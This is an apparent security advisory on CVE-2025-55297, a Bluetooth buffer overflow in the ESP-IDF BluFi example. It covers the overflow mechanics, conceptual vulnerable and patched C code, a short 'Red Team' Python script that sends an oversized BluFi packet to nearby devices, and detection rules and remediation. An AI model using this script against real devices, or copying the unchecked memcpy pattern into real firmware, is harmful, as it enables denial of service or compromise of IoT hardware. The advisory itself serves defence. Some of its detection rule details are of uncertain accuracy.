CVE-2025-55297

Executive Summary

CVE-2025-55297 is a critical memory overflow vulnerability found in the BluFi example bundled with the Espressif IoT Development Framework (ESP-IDF). The vulnerability exists in two distinct areas: Wi-Fi credential handling and the Diffie-Hellman (DH) key exchange process. An unauthenticated attacker within Bluetooth range can exploit this flaw to trigger a buffer overflow, potentially leading to remote code execution (RCE) or a denial of service (DoS) on affected IoT devices. The vulnerability affects all ESP-IDF versions prior to the patched releases (5.4.1, 5.3.3, 5.1.6, and 5.0.9). No public proof-of-concept (PoC) or exploit code is currently available, but the risk is elevated due to the widespread use of ESP32/ESP8266 chips in IoT deployments.

Supply Chain & Package Security

This vulnerability is embedded within the ESP-IDF framework, which is a core dependency for countless IoT products. The BluFi example is often used as a reference or directly integrated into production firmware. Organizations using ESP-IDF must treat this as a supply chain risk, as the vulnerable code may be present in third-party libraries or custom builds. The lack of a CVSS score and EPSS data (0.0%) suggests limited exploitation in the wild, but the attack surface is significant given the number of deployed devices.

CVSS Breakdown & Threat Level

The NVD has not assigned a CVSS score for this CVE. Based on the technical details, a reasonable estimate would be:

• Attack Vector (AV): Adjacent Network (A) – Requires Bluetooth proximity.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Potential for memory disclosure.
• Integrity (I): High (H) – Potential for code injection.
• Availability (A): High (H) – Potential for crash or DoS.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Score: 8.8 (High)

Threat Level: High. The vulnerability is remotely exploitable (via Bluetooth) with low complexity and no authentication. Successful exploitation could lead to full device compromise.

Deep Dive & Mechanics

The BluFi protocol is a Bluetooth Low Energy (BLE) based provisioning mechanism used by ESP32/ESP8266 devices to receive Wi-Fi credentials and other configuration data. The vulnerability resides in two specific functions within the BluFi example code:

1. Wi-Fi Credential Handling: When the device receives a BluFi packet containing Wi-Fi SSID and password, the data is copied into fixed-size buffers without proper bounds checking. An attacker can send a crafted packet with an oversized SSID or password, causing a buffer overflow on the stack or heap.

2. Diffie-Hellman Key Exchange: During the DH key exchange phase, the device processes public key data from the peer. The code does not validate the length of the received public key before copying it into a fixed-size buffer. A malicious BLE device can send an oversized DH public key, triggering a buffer overflow.

Both overflows occur in the blufi_example component, typically in files like blufi_example_main.c or blufi_security.c. The overflow can corrupt adjacent memory, potentially allowing an attacker to overwrite function pointers, return addresses, or other critical data structures. This can lead to arbitrary code execution in the context of the ESP-IDF application.

Vulnerable vs. Patched Code

The vulnerable code pattern involves unsafe memory copy operations without length validation.

Vulnerable Code (Conceptual):

// In blufi_example_main.c or similar
#define MAX_SSID_LEN 32
#define MAX_PASSWORD_LEN 64

static char ssid[MAX_SSID_LEN];
static char password[MAX_PASSWORD_LEN];

void blufi_handle_wifi_credential(uint8_t *data, uint16_t len) {
    // No length check before copy
    memcpy(ssid, data, len); // Overflow if len > MAX_SSID_LEN
    // Similar for password
}

Patched Code (Conceptual):

// In blufi_example_main.c or similar
#define MAX_SSID_LEN 32
#define MAX_PASSWORD_LEN 64

static char ssid[MAX_SSID_LEN];
static char password[MAX_PASSWORD_LEN];

void blufi_handle_wifi_credential(uint8_t *data, uint16_t len) {
    // Length validation before copy
    if (len > MAX_SSID_LEN) {
        // Handle error, reject packet
        return;
    }
    memcpy(ssid, data, len);
    // Similar for password with MAX_PASSWORD_LEN
}

The patch adds explicit length checks before memcpy operations, ensuring that the input data does not exceed the allocated buffer size. The same principle applies to the DH key exchange handling.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A BLE-capable device (e.g., nRF52840 Dongle, Raspberry Pi with Bluetooth, or a smartphone with BLE apps).
• Python with bleak or bluepy library.
• Target ESP32/ESP8266 device running a vulnerable version of the BluFi example.

Exploitation Steps:

1. Scan for BLE Devices: Use a BLE scanner to discover devices advertising the BluFi service (typically UUID 0000ffff-0000-1000-8000-00805f9b34fb).
2. Connect to Target: Establish a BLE connection to the target device.
3. Craft Malicious Packet: Create a BluFi packet with an oversized Wi-Fi credential or DH public key field. For example, send an SSID longer than 32 bytes.
4. Send Packet: Write the crafted packet to the appropriate BLE characteristic (e.g., the data out characteristic).
5. Trigger Overflow: The device processes the packet, causing a buffer overflow. This may crash the device (DoS) or, with careful crafting, overwrite a return address to redirect execution to attacker-controlled shellcode.

Example Python Script (Conceptual):

import asyncio
from bleak import BleakScanner, BleakClient

BLUFI_SERVICE_UUID = "0000ffff-0000-1000-8000-00805f9b34fb"
BLUFI_DATA_OUT_CHAR = "0000ff01-0000-1000-8000-00805f9b34fb"

async def exploit():
    devices = await BleakScanner.discover()
    target = None
    for d in devices:
        if BLUFI_SERVICE_UUID in d.metadata.get("uuids", []):
            target = d
            break
    if not target:
        print("Target not found")
        return

    async with BleakClient(target.address) as client:
        # Craft oversized SSID (e.g., 64 bytes)
        payload = b"\x01" * 64  # Example: type 1 (set wifi config)
        await client.write_gatt_char(BLUFI_DATA_OUT_CHAR, payload)
        print("Malicious packet sent")

asyncio.run(exploit())

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defensive)

Detection & Prevention:

1. Firmware Update: Immediately update ESP-IDF to the patched versions (5.4.1, 5.3.3, 5.1.6, or 5.0.9).
2. Network Segmentation: Isolate IoT devices on a separate VLAN to limit lateral movement if compromised.
3. BLE Monitoring: Deploy BLE sniffers (e.g., using Wireshark with a BLE dongle) to monitor for anomalous BluFi packets with unusually large payloads.
4. Host-Based Detection: On the ESP32, implement runtime checks for buffer overflows (e.g., using stack canaries or memory protection units if available).
5. Input Validation: Ensure all BluFi packet fields are validated for length before processing.

Indicators of Compromise (IOCs)

• Network IOCs:
  • BLE packets with BluFi service UUID (0000ffff-0000-1000-8000-00805f9b34fb) containing oversized data fields (e.g., SSID > 32 bytes, password > 64 bytes, DH key > 32 bytes).
  • Unusual BLE connection attempts from unknown devices to ESP32/ESP8266 devices.
• Host IOCs:
  • Unexpected crashes or reboots of ESP32/ESP8266 devices.
  • Memory corruption logs in ESP-IDF monitor output (e.g., "Guru Meditation Error").
  • Presence of unexpected shellcode or modified function pointers in memory dumps.
• File IOCs:
  • Modified blufi_example_main.c or blufi_security.c files without proper length checks.

Detection Engineering

YARA Rule

rule CVE_2025_55297_BluFi_Overflow {
    meta:
        description = "Detects vulnerable BluFi code patterns in ESP-IDF firmware"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-55297"
    strings:
        $s1 = "memcpy(ssid" ascii
        $s2 = "memcpy(password" ascii
        $s3 = "memcpy(dh_public_key" ascii
        $s4 = "blufi_handle_wifi_credential" ascii
        $s5 = "blufi_handle_dh_key" ascii
    condition:
        any of ($s1, $s2, $s3) and any of ($s4, $s5)
}

Sigma Rule

title: CVE-2025-55297 BluFi Buffer Overflow Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects BLE packets with oversized BluFi payloads indicative of exploitation attempts
author: Valters IT
date: 2025-04-10
logsource:
    category: bluetooth
    product: bluetooth
detection:
    selection:
        service_uuid: "0000ffff-0000-1000-8000-00805f9b34fb"
        characteristic_uuid: "0000ff01-0000-1000-8000-00805f9b34fb"
        payload_length: "> 64"  # Example threshold
    condition: selection
falsepositives:
    - Legitimate large configuration packets (unlikely)
level: high

Suricata Rule

alert bluetooth any any -> any any (msg:"CVE-2025-55297 BluFi Buffer Overflow Attempt"; bluetooth.service_uuid; content:"|00 00 ff ff 00 00 10 00 80 00 00 80 5f 9b 34 fb|"; bluetooth.characteristic_uuid; content:"|00 00 ff 01 00 00 10 00 80 00 00 80 5f 9b 34 fb|"; byte_test:2,>,64,0,relative; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update ESP-IDF to version 5.4.1, 5.3.3, 5.1.6, or 5.0.9. These versions contain the fix for the BluFi buffer overflow.
2. Code Review: If custom BluFi implementations are used, review all memcpy, sprintf, and similar functions for proper bounds checking.
3. Compile-Time Protections: Enable stack canaries (-fstack-protector-strong) and other security features in the ESP-IDF build configuration.
4. Runtime Monitoring: Implement watchdog timers and memory protection units (if available on the target chip) to detect and respond to memory corruption.
5. Vendor Communication: Contact Espressif for additional security advisories and ensure all IoT devices using ESP-IDF are updated.
6. Long-Term: Adopt secure coding practices, including the use of safe string functions (e.g., strlcpy, strlcat) and static analysis tools in the development pipeline.

Valters IT